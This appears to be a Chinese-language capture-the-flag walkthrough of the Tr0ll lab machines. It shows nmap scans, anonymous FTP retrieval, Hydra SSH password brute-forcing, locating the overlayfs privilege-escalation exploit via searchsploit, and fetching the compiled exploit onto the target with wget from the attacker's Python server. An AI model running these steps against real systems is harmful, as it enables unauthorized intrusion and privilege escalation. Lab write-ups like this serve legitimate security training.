后面跟上192.168.1.0/24意思是可用 IP 范围:192.168.1.1 ~ 192.168.1.254下的所有主机
我的kali ip在192.168.153下面,因此靶机的ip八九不离十也是在这下面了
输入命令:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
└─$ nmap -sn 192.168.153.0/24 Starting Nmap 7.95 ( https://nmap.org ) at 2026-05-28 03:22 EDT Nmap scan report for 192.168.153.1 Host is up (0.00026s latency). MAC Address: 00:50:56:C0:00:08 (VMware) Nmap scan report for 192.168.153.2 Host is up (0.00011s latency). MAC Address: 00:50:56:E7:17:EE (VMware) Nmap scan report for 192.168.153.131 Host is up (0.00029s latency). MAC Address: 00:0C:29:1B:BA:36 (VMware) Nmap scan report for 192.168.153.254 Host is up (0.00016s latency). MAC Address: 00:50:56:F8:C2:5B (VMware) Nmap scan report for 192.168.153.135 Host is up. Nmap done: 256 IP addresses (5 hosts up) scanned in 5.94 seconds
Starting Nmap 7.95 ( https://nmap.org ) at 2026-05-28 03:27 EDT Nmap scan report for 192.168.153.131 Host is up (0.0016s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.2 | ftp-syst: | STAT: | FTP server status: | Connected to 192.168.153.135 | Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeout in seconds is 600 | Control connection is plain text | Data connections will be plain text | At session startup, client count was 2 | vsFTPd 3.0.2 - secure, fast, stable |_End of status | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_-rwxrwxrwx 1 1000 0 8068 Aug 10 2014 lol.pcap [NSE: writeable] 22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 1024 d6:18:d9:ef:75:d3:1c:29:be:14:b5:2b:18:54:a9:c0 (DSA) | 2048 ee:8c:64:87:44:39:53:8c:24:fe:9d:39:a9:ad:ea:db (RSA) | 256 0e:66:e6:50:cf:56:3b:9c:67:8b:5f:56:ca:ae:6b:f4 (ECDSA) |_ 256 b2:8b:e2:46:5c:ef:fd:dc:72:f7:10:7e:04:5f:25:85 (ED25519) 80/tcp open http Apache httpd 2.4.7 ((Ubuntu)) |_http-title: Site doesn't have a title (text/html). |_http-server-header: Apache/2.4.7 (Ubuntu) | http-robots.txt: 1 disallowed entry |_/secret MAC Address: 00:0C:29:1B:BA:36 (VMware) Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 14.07 seconds
Using binary mode to transfer files. ftp> ls 229 Entering Extended Passive Mode (|||10258|). 150 Here comes the directory listing. -rwxrwxrwx 1 1000 0 8068 Aug 10 2014 lol.pcap 226 Directory send OK.
然后输入get即可下载里面的文件
我们下载下来流量包,进行流量分析
发现传输了一个txt文件
txt文件内容:
1 2 3 4
Well, well, well, aren't you just a clever little devil, you almost found the sup3rs3cr3tdirlol :-P
Sucks, you were so close... gotta TRY HARDER!
这个是一个敏感的信息:sup3rs3cr3tdirlol
根据翻译,是超级-神秘-dir-lol
于是拼接到ip后面进行访问
可以看到这是一个文件预览系统,上一级目录看html代码正是根目录
于是我们下载这个文件,进行分析
通过010查看文件头,这是一个可执行文件
1 2 3 4
int __cdecl main(int argc, constchar **argv, constchar **envp) { returnprintf("Find address 0x0856BF to proceed"); }
只有main函数有内容,提示了一个地址。
这个地址并非是可执行程序内部的地址,于是合理怀疑是一个路由目录
很明显这里有password,这个密码推测是刚才的ssh服务的密码。
good_luck文件夹下面是以下内容:
1 2 3 4 5 6 7 8 9 10
maleus ps-aux felux Eagle11 genphlux < -- Definitely not this one usmc8892 blawrg wytshadow vis1t0r overflow
$ hydra -L which_one_lol.txt -p Pass.txt ssh://192.168.153.131 Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-05-28 06:09:50 [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4 [DATA] max 10 tasks per 1 server, overall 10 tasks, 10 login tries (l:10/p:1), ~1 try per task [DATA] attacking ssh://192.168.153.131:22/ [22][ssh] host: 192.168.153.131 login: overflow password: Pass.txt 1 of 1 target successfully completed, 1 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-05-28 06:10:01
$ uname -a Linux troll 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:12 UTC 2014 i686 i686 i686 GNU/Linux
查看内核版本是3.13.0之后,我们可以考虑用searchsploit工具查漏洞
查出来很多漏洞。主要看下面这俩:
1 2
Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Privilege Escalation | linux/local/37292.c Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Privilege Escalation (Access /etc/shadow)
使用locate命令,能够快速定位某个路径
1 2 3
└─$ locate linux/local/37292.c
/usr/share/exploitdb/exploits/linux/local/37292.c
我们复制这个出来,进行编译即可。局域网传文件,我喜欢python起一个服务器
python3 -m http.server 8088
我们去到ssh下面,执行cd /tmp和wget下载命令
1 2 3 4 5 6 7 8 9 10 11 12
$ cd /tmp $ wget 192.168.153.135:8088/exp --2026-05-28 01:31:17-- http://192.168.153.135:8088/exp Connecting to 192.168.153.135:8088... connected. HTTP request sent, awaiting response... 200 OK Length: 16488 (16K) [application/octet-stream] Saving to: ‘exp’
100%[=================================================================================================================================================================================================>] 16,488 --.-K/s in 0s
┌──(kali㉿kali)-[~/桌面] └─$ nmap -sn 192.168.153.0/24 Starting Nmap 7.95 ( https://nmap.org ) at 2026-05-28 08:34 EDT Nmap scan report for 192.168.153.1 Host is up (0.0012s latency). MAC Address: 00:50:56:C0:00:08 (VMware) Nmap scan report for 192.168.153.2 Host is up (0.00096s latency). MAC Address: 00:50:56:E7:17:EE (VMware) Nmap scan report for 192.168.153.132 Host is up (0.00072s latency). MAC Address: 00:0C:29:5D:4D:05 (VMware) Nmap scan report for 192.168.153.254 Host is up (0.00014s latency). MAC Address: 00:50:56:F8:C2:5B (VMware) Nmap scan report for 192.168.153.135 Host is up. Nmap done: 256 IP addresses (5 hosts up) scanned in 5.94 seconds
└─$ nmap -sV -sC -p- 192.168.153.132 Starting Nmap 7.95 ( https://nmap.org ) at 2026-05-28 08:36 EDT Nmap scan report for 192.168.153.132 Host is up (0.0049s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 2.0.8 or later 22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 1024 82:fe:93:b8:fb:38:a6:77:b5:a6:25:78:6b:35:e2:a8 (DSA) | 2048 7d:a5:99:b8:fb:67:65:c9:64:86:aa:2c:d6:ca:08:5d (RSA) |_ 256 91:b8:6a:45:be:41:fd:c8:14:b5:02:a0:66:7c:8c:96 (ECDSA) 80/tcp open http Apache httpd 2.2.22 ((Ubuntu)) |_http-server-header: Apache/2.2.22 (Ubuntu) |_http-title: Site doesn't have a title (text/html). MAC Address: 00:0C:29:5D:4D:05 (VMware) Service Info: Host: Tr0ll; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 21.26 seconds